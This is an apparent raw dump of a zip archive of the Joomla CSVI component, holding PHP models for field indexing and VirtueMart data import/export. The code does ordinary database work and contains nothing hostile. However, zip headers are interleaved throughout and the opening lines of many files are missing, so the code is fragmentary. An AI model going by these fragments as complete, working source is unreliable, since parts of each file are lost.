= "SELECT template_table, component FROM #__csvi_template_tables WHERE `indexed` = 0 AND `template_table` != `template_type_name` GROUP BY `template_table` LIMIT 1"; $db->setQuery($q); $table = $db->loadObject(); if (is_object($table)) { // Set the table name $showtable = $table->template_table; // Check if the table exists $tables = $db->getTableList(); if (in_array($db->getPrefix().$showtable, $tables)) { // Get the primary key for the table $primarykey = CsviHelper::getPrimaryKey($showtable); $fields = $this->DbFields($showtable, true); if (is_array($fields)) { // Process all fields foreach ($fields as $name => $value) { // Check if the field is a primary field if ($primarykey == $name) $primary = 1; else $primary = 0; if ($name) { $q = "INSERT IGNORE INTO ".$db->quoteName('#__csvi_available_fields')." VALUES (" ."0," .$db->Quote($name)."," .$db->Quote($name)."," .$db->Quote($value)."," .$db->Quote($table->component)."," .$db->Quote($primary).")"; $db->setQuery($q); if (!$db->query()) $errors = true; } } // foreach // Check for any errors if (!$errors) { $jinput->set('updatetable', $showtable); $csvilog->AddStats('added', JText::sprintf('COM_CSVI_AVAILABLE_FIELDS_HAVE_BEEN_ADDED', $showtable)); } else { $csvilog->AddStats('error', JText::_('COM_CSVI_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED')); } } // is_array } // Set the table to indexed $q = "UPDATE #__csvi_template_tables SET indexed = 1 WHERE template_table = ".$db->Quote($showtable)." AND component = ".$db->Quote($table->component); $db->setQuery($q); $db->query(); // Assign the tables to the session $session->set($option.'.linesprocessed', serialize($lines)); $continue = true; } // empty else { $jinput->set('csvilog', $csvilog); // Clear the session $session->set($option.'.csvilog', serialize('0')); $session->set($option.'.linesprocessed', serialize('0')); // Set the run ID $jinput->set('run_id', $csvilog->getId()); $continue = false; } // Assign the log to the session $session->set($option.'.csvilog', serialize($csvilog)); return $continue; } /** * Creates an array of custom database fields the user can use for import/export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of custom database fields * @since 3.0 */ public function DbFields($table, $addname=false) { $db = JFactory::getDBO(); $customfields = array(); $q = "SHOW COLUMNS FROM ".$db->quoteName('#__'.$table); $db->setQuery($q); $fields = $db->loadObjectList(); if (count($fields) > 0) { foreach ($fields as $key => $field) { if ($addname) $customfields[$field->Field] = $table; else $customfields[$field->Field] = null; } } return $customfields; } /** * Get the fields belonging to a certain operation type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $type the template type name * @return array list of tables or fields * @since 3.0 */ public function getAvailableFields($type, $component, $filter='array', $table_name=null) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('LOWER(csvi_name) AS value, LOWER(csvi_name) AS text'); $query->from('#__csvi_available_fields AS a'); $query->leftJoin('#__csvi_template_tables AS t ON t.template_table = a.component_table'); $query->where($db->quoteName('t.template_type_name').' = '.$db->quote($type)); $query->where($db->quoteName('t.component').' = '.$db->quote($component)); $query->where($db->quoteName('a.component').' = '.$db->quote($component)); if ($table_name) $query->where($db->quoteName('t.template_table').' = '.$db->quote($table_name)); $query->group('csvi_name'); $db->setQuery($query); // Get the results $fields = array(); if ($filter == 'array') $fields = $db->loadColumn(); else if ($filter == 'object') $fields = $db->loadObjectList(); // Return the array of fields return $fields; } /** * Check if there are enough fields in the database * * @author RolandD * @access public * @return bool true|false */ public function getFieldCheck() { $db = JFactory::getDBO(); $q = 'SELECT COUNT(id) FROM #__csvi_available_fields'; $db->setQuery($q); if ($db->loadResult() > 0) return true; else return false; } /** * Proxy for getModel * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return object of a database model * @since 4.0 */ public function getModel($name = 'AvailableFields', $prefix = 'CsviModel') { $model = JModel::getInstance($name, $prefix, array('ignore_request' => true)); return $model; } } ?>PKs>\)5com_csvi/models/forms/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,6com_csvi/models/forms/com_akeebasubs/export/index.htmlnuW+APKs>\-ްrf f <com_csvi/models/forms/com_akeebasubs/export/subscription.xmlnuW+A PKs>\).com_csvi/models/forms/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,/com_csvi/models/forms/com_akeebasubs/index.htmlnuW+APKs>\]M%com_csvi/models/forms/replacement.xmlnuW+A
      PKs>\#o,, com_csvi/models/forms/index.htmlnuW+APKs>\#o,,'com_csvi/models/forms/import/index.htmlnuW+APKs>\)&com_csvi/models/forms/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\D&com_csvi/models/forms/import/limit.xmlnuW+A PKs>\)com_csvi/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\ 9"com_csvi/models/forms/settings.xmlnuW+A
      PKs>\z+x, com_csvi/models/forms/import.xmlnuW+A PKs>\#o,,'com_csvi/models/forms/export/index.htmlnuW+APKs>\P&com_csvi/models/forms/export/email.xmlnuW+A PKs>\w 'com_csvi/models/forms/export/layout.xmlnuW+A PKs>\0|uu&com_csvi/models/forms/export/limit.xmlnuW+A PKs>\)&com_csvi/models/forms/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\|YZZ&com_csvi/models/forms/templatetype.xmlnuW+A
      PKs>\).com_csvi/models/forms/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,/com_csvi/models/forms/com_virtuemart/index.htmlnuW+APKs>\YG7com_csvi/models/forms/com_virtuemart/export/product.xmlnuW+A PKs>\XX4com_csvi/models/forms/com_virtuemart/export/calc.xmlnuW+A PKs>\oo8com_csvi/models/forms/com_virtuemart/export/userinfo.xmlnuW+A PKs>\)5com_csvi/models/forms/com_virtuemart/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\XX8com_csvi/models/forms/com_virtuemart/export/category.xmlnuW+A PKs>\#o,,6com_csvi/models/forms/com_virtuemart/export/index.htmlnuW+APKs>\|*i 9com_csvi/models/forms/com_virtuemart/export/orderitem.xmlnuW+A PKs>\'7TT5com_csvi/models/forms/com_virtuemart/export/order.xmlnuW+A PKs>\^<com_csvi/models/forms/com_virtuemart/export/manufacturer.xmlnuW+A PKs>\y-Q Q >com_csvi/models/forms/com_virtuemart/import/category_image.xmlnuW+A PKs>\XXEcom_csvi/models/forms/com_virtuemart/import/manufacturer_category.xmlnuW+A PKs>\GAf=com_csvi/models/forms/com_virtuemart/import/category_path.xmlnuW+A PKs>\^:com_csvi/models/forms/com_virtuemart/import/order_item.xmlnuW+A PKs>\e| $$5com_csvi/models/forms/com_virtuemart/import/media.xmlnuW+A PKs>\ L7com_csvi/models/forms/com_virtuemart/import/product.xmlnuW+A PKs>\VLL5com_csvi/models/forms/com_virtuemart/import/image.xmlnuW+A PKs>\)5com_csvi/models/forms/com_virtuemart/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\ :com_csvi/models/forms/com_virtuemart/import/media_path.xmlnuW+A PKs>\XX4com_csvi/models/forms/com_virtuemart/import/calc.xmlnuW+A PKs>\#o,,6com_csvi/models/forms/com_virtuemart/import/index.htmlnuW+APKs>\y-Q Q ;com_csvi/models/forms/com_virtuemart/import/media_image.xmlnuW+A PKs>\^<com_csvi/models/forms/com_virtuemart/import/manufacturer.xmlnuW+A PKs>\~<com_csvi/models/forms/com_virtuemart/import/product_path.xmlnuW+A PKs>\Y[u8com_csvi/models/forms/com_virtuemart/import/category.xmlnuW+A PKs>\{oo com_csvi/models/forms/export.xmlnuW+A PKs>\uOmm com_csvi/models/replacements.phpnuW+AgetDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select('r.*, u.name AS editor'); $query->from('#__csvi_replacements AS r'); // Join the user table $query->leftJoin('#__users AS u ON u.id = r.checked_out'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->getEscaped($orderCol.' '.$orderDirn)); return $query; } } ?>PKs>\kύ 0com_csvi/models/com_csvi/import/customimport.phpnuW+A_loadTables(); $this->loadSettings(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Load the data $this->loadData(); // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { default: $this->$name = $value; break; } } // All good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; // Get the imported values $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDBO(); // Clean the tables $this->cleanTables(); // Bind the data $this->_custom_table->bind($this); // Store the data if ($this->_custom_table->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CUSTOM_FIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CUSTOM_FIELD')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CUSTOM_FIELD_NOT_ADDED', $this->_custom_table->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CUSTOM_FIELD_QUERY'), true); } /** * Load the custom related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_custom_table = $this->getTable('custom_table'); } /** * Cleaning the custom related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_custom_table->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?> PKs>\))com_csvi/models/com_csvi/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,*com_csvi/models/com_csvi/import/index.htmlnuW+APKs>\#o,,*com_csvi/models/com_csvi/export/index.htmlnuW+APKs>\))com_csvi/models/com_csvi/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\vw>>0com_csvi/models/com_csvi/export/customexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } // Export SQL Query // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from($db->quoteName("#__".$template->get('custom_table'))); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby'); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort'); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { while ($record = $csvidb->getRow()) { if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; $fieldreplace = $field->field_name.$field->column_header; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\#o,,#com_csvi/models/com_csvi/index.htmlnuW+APKs>\)"com_csvi/models/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,)com_csvi/models/com_virtuemart/index.htmlnuW+APKs>\)(com_csvi/models/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vw.GG<com_csvi/models/com_virtuemart/import/shopperfieldimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'name': $this->$name = strtolower(JFilterInput::clean($value, 'alnum')); break; default: $this->$name = $value; break; } } // Check if we have a field ID if (empty($this->virtuemart_userfield_id)) $this->_getFieldId(); // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $csvilog = $jinput->get('csvilog', null, null); // Check if a field needs to be deleted if ($this->shopperfield_delete == 'Y') { $this->_deleteShopperField(); } else { // Bind the data $this->_userfields->bind($this); // Check for modified data if (!isset($this->modified_on)) { $this->_userfields->modified_on = $this->date->toMySQL(); $this->_userfields->modified_by = $this->user->id; } // Add a creating date if there is no virtuemart_userfield_id if (empty($this->virtuemart_userfield_id)) { $this->_userfields->created_on = $this->date->toMySQL(); $this->_userfields->created_by = $this->user->id; } // Add the name field as Joomla doesn't bind it $this->_userfields->name = $this->name; // Store the data if ($this->_userfields->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_SHOPPERFIELD')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_SHOPPERFIELD')); // Create a field in the userinfos table if needed if ($this->type != 'delimiter') { switch($this->type) { case 'date': $fieldtype = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $fieldtype = 'MEDIUMTEXT'; break; case 'checkbox': $fieldtype = 'TINYINT'; break; default: $fieldtype = 'VARCHAR(255)'; break; } $query = "ALTER TABLE ".$db->quoteName('#__virtuemart_userinfos')." ADD COLUMN ".$db->quoteName($this->_userfields->name)." ".$fieldtype; $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_USERINFO_TABLE_QUERY'), true); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_SHOPPERFIELD_NOT_ADDED', $this->_userfields->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_SHOPPERFIELD_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the user field related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $this->_userfields = $this->getTable('userfields'); } /** * Cleaning the user field related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_userfields->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Load the field ID for a fieldname * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getFieldId() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('virtuemart_userfield_id'); $query->from('#__virtuemart_userfields'); $query->where($db->quoteName('name').' = '.$db->Quote($this->name)); $db->setQuery($query); $this->virtuemart_userfield_id = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_GET_FIELD_ID'), true); } /** * Delete a shopper field * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 4.0 */ private function _deleteShopperField() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Delete the shopperfield if ($this->_userfields->delete($this->virtuemart_userfield_id)) { $db = JFactory::getDbo(); // Delete the userinfos field $query = "ALTER TABLE ".$db->quoteName('#__virtuemart_userinfos')." DROP COLUMN ".$db->quoteName($this->name); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_DELETE_USERINFOS_FIELD'), true); $db->query(); $csvilog->AddStats('deleted', JText::sprintf('COM_CSVIVIRTUEMART_SHOPPERFIELD_DELETED', $this->name)); } } } ?> PKs>\$$4com_csvi/models/com_virtuemart/import/calcimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { $jinput = JFactory::getApplication()->input; // Load the data $this->loadData(); // Load the helper $this->helper = new Com_VirtueMart(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'currency_code_3': $this->$name = strtoupper($value); break; default: $this->$name = $value; break; } } // All is good return true; } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); // Bind the data $this->_calcs->bind($this); // Check the currency if (isset($this->currency_code_3)) { $this->_calcs->calc_currency = $this->helper->getCurrencyId($this->currency_code_3, $this->virtuemart_vendor_id); } // Check the data $this->_calcs->check(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_calcs->modified_on = $this->date->toMySQL(); $this->_calcs->modified_by = $this->user->id; } if (empty($this->_calcs->virtuemart_calc_id)) { $this->_calcs->calc_shopper_published = (isset($this->calc_shopper_published)) ? $this->calc_shopper_published : 1; $this->_calcs->calc_vendor_published = (isset($this->calc_vendor_published)) ? $this->calc_vendor_published : 1; $this->_calcs->calc_params = (isset($this->calc_params)) ? $this->calc_params : ''; $this->_calcs->created_on = $this->date->toMySQL(); $this->_calcs->created_by = $this->user->id; } // Store the data if ($this->_calcs->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_CALC')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_CALC')); // Process any categories if (isset($this->category_path)) { // Remove any existing categories for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_categories'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new categories if (is_null($this->_categorymodel)) $this->_categorymodel = new CsviModelCategory(); $this->_categorymodel->getStart(); $categories = explode('|', $this->category_path); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_categories'); foreach ($categories as $category) { $catid = $this->_categorymodel->getCategoryIdFromPath($category, $this->virtuemart_vendor_id); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$catid['category_id']); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_CATEGORY_QUERY'), true); } // Process any countries if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_countries'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new countries if (isset($this->country_name)) $countries = explode('|', $this->country_name); else if (isset($this->country_2_code)) $countries = explode('|', $this->country_2_code); else if (isset($this->country_3_code)) $countries = explode('|', $this->country_3_code); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_countries'); foreach ($countries as $country) { if (isset($this->country_name)) $cid = $this->helper->getCountryId($country); else if (isset($this->country_2_code)) $cid = $this->helper->getCountryId(null, $country); else if (isset($this->country_3_code)) $cid = $this->helper->getCountryId(null, null, $country); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$cid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_COUNTRY_QUERY'), true); } // Process any shoppergroups if (isset($this->shopper_group_name)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_shoppergroups'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new shoppergroups $shoppergroups = explode('|', $this->shopper_group_name); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_shoppergroups'); foreach ($shoppergroups as $shoppergroup) { $sid = $this->helper->getShopperGroupId($shoppergroup); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$sid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_SHOPPERGROUP_QUERY'), true); } // Process any states if (isset($this->country_name) || isset($this->country_2_code) || isset($this->country_3_code)) { // Remove any existing countries for the calc rule $query = $db->getQuery(true); $query->delete('#__virtuemart_calc_states'); $query->where('virtuemart_calc_id = '.$this->_calcs->virtuemart_calc_id); $db->setQuery($query); $db->query(); // Add any new countries if (isset($this->state_name)) $countries = explode('|', $this->state_name); else if (isset($this->state_2_code)) $countries = explode('|', $this->state_2_code); else if (isset($this->state_3_code)) $countries = explode('|', $this->state_3_code); $query = $db->getQuery(true); $query->insert('#__virtuemart_calc_states'); foreach ($countries as $state) { if (isset($this->state_name)) $sid = $this->helper->getstateId($state); else if (isset($this->state_2_code)) $sid = $this->helper->getstateId(null, $state); else if (isset($this->state_3_code)) $sid = $this->helper->getstateId(null, null, $state); $query->values('null, '.$this->_calcs->virtuemart_calc_id.', '.$sid); } $db->setQuery($query); $db->query(); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_STATE_QUERY'), true); } } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CALC_NOT_ADDED', $this->_calcs->getError())); // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_CALC_QUERY'), true); // Clean the tables $this->cleanTables(); } /** * Load the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.01 */ private function _loadTables() { $this->_calcs = $this->getTable('calcs'); } /** * Cleaning the waiting list related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.1 */ protected function cleanTables() { $this->_calcs->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } } ?>PKs>\O " "Dcom_csvi/models/com_virtuemart/import/manufacturercategoryimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; case 'mf_category_delete': $this->$name = $this->mf_category_delete = strtoupper($this->_datafield); break; default: $this->$name = $value; break; } } // If we have no manufacturer category name we cannot continue if (empty($this->mf_category_name)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_MANUFACTURERCATEGORY_PATH_SET')); return false; } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Process each record and store it in the database * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessRecord() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if we have a manufacturer category ID, if not get it if (!isset($this->virtuemart_manufacturercategories_id)) $this->_getManufacturerCategoryId(); // Set the modified date as we are modifying the product if (!isset($this->modified_on)) { $this->_manufacturer_categories->modified_on = $this->date->toSql(); $this->_manufacturer_categories->modified_by = $this->user->id; } // Add a creating date if there is no product_id if (empty($this->virtuemart_manufacturercategories_id)) { $this->_manufacturer_categories->created_on = $this->date->toSql(); $this->_manufacturer_categories->created_by = $this->user->id; } // Bind the data $this->_manufacturer_categories->bind($this); // User wants to delete the manufacturer if ($this->virtuemart_manufacturercategories_id && $this->mf_category_delete == "Y") { if ($this->_manufacturer_categories->delete($this->virtuemart_manufacturercategories_id)) { $csvilog->addDebug(JText::_('COM_CSVI_DELETE_MANUFACTURER_CATEGORY'), true); $csvilog->AddStats('deleted', JText::_('COM_CSVI_MANUFACTURER_CAT_DELETED')); } else $csvilog->AddStats('error', JText::sprintf('COM_CSVI_MANUFACTURER_CAT_NOT_DELETED', $this->_manufacturer_categories->getError())); } else if (!$this->virtuemart_manufacturercategories_id && $template->get('ignore_non_exist', 'general')) { // Do nothing for new categories when user chooses to ignore new categories if (isset($this->mf_category_name)) $value = $this->mf_category_name; else $value = ''; $csvilog->AddStats('skipped', JText::sprintf('COM_CSVI_IGNORE_NON_EXIST_DATA', $value)); } // User wants to add or update the manufacturer category else { if ($this->_manufacturer_categories->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURER_CATEGORY')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURER_CATEGORY')); } else $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURER_CATEGORY_NOT_ADDED', $this->_manufacturer_categories->getError())); $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories->virtuemart_manufacturercategories_id; // Store the language fields $this->_manufacturer_categories_lang->load($this->virtuemart_manufacturercategories_id); $this->_manufacturer_categories_lang->bind($this); // Check and store the language data if ($this->_manufacturer_categories_lang->check()) { if ($this->_manufacturer_categories_lang->store()) { if ($this->queryResult() == 'UPDATE') $csvilog->AddStats('updated', JText::_('COM_CSVI_UPDATE_MANUFACTURERCATEGORY_LANG')); else $csvilog->AddStats('added', JText::_('COM_CSVI_ADD_MANUFACTURERCATEGORY_LANG')); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED', $this->_manufacturer_categories_lang->getError())); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED', $this->_manufacturer_categories_lang->getError())); return false; } // Store the debug message $csvilog->addDebug(JText::_('COM_CSVI_MANUFACTURER_CATEGORY_QUERY'), true); } // Clean the tables $this->cleanTables(); } /** * Load the manufacturer category related tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _loadTables() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_manufacturer_categories = $this->getTable('manufacturer_categories'); // Check if the language tables exist $db = JFactory::getDbo(); $tables = $db->getTableList(); if (!in_array($db->getPrefix().'virtuemart_manufacturercategories_'.$template->get('language', 'general'), $tables)) { $this->_tablesexist = false; } else { $this->_tablesexist = true; $this->_manufacturer_categories_lang = $this->getTable('manufacturer_categories_lang'); } } /** * Cleaning the manufacturer related related tables * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function cleanTables() { $this->_manufacturer_categories->reset(); $this->_manufacturer_categories_lang->reset(); // Clean local variables $class_vars = get_class_vars(get_class($this)); foreach ($class_vars as $name => $value) { if (substr($name, 0, 1) != '_') { $this->$name = $value; } } } /** * Get the manufacturer category ID * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return mixed integer when category ID found | false when not found * @since 3.0 */ private function _getManufacturerCategoryId() { $this->_manufacturer_categories_lang->set('mf_category_name', $this->mf_category_name); if ($this->_manufacturer_categories_lang->check(false)) { $this->virtuemart_manufacturercategories_id = $this->_manufacturer_categories_lang->virtuemart_manufacturercategories_id; return true; } else return false; } } ?> PKs>\1d < <8com_csvi/models/com_virtuemart/import/categoryimport.phpnuW+A_loadTables(); $this->loadSettings(); // Set some initial values $this->date = JFactory::getDate(); $this->user = JFactory::getUser(); } /** * Here starts the processing * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getStart() { // Get the logger $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Only continue if all tables exist if ($this->_tablesexist) { // Load the data $this->loadData(); // Get the general category functions $this->_categoriesmodel = $this->getModel('category'); $this->_categoriesmodel->getStart(); // Load the helper $this->helper = new Com_VirtueMart(); // Check for vendor ID $this->virtuemart_vendor_id = $this->helper->getVendorId(); // Process data foreach ($this->csvi_data as $name => $value) { // Check if the field needs extra treatment switch ($name) { case 'published': switch ($value) { case 'n': case 'N': case '0': $value = 0; break; default: $value = 1; break; } $this->published = $value; break; default: $this->$name = $value; break; } } // If we have no category path we cannot continue if (empty($this->category_path)) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_CATEGORY_PATH_SET')); return false; } return true; } else { $template = $jinput->get('template', null, null); $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_LANG_TABLE_NOT_EXIST', $template->get('language', 'general'))); return false; } } /** * Load the tables * * @copyright * @author RolandD * @todo * @see * @access private * @param * 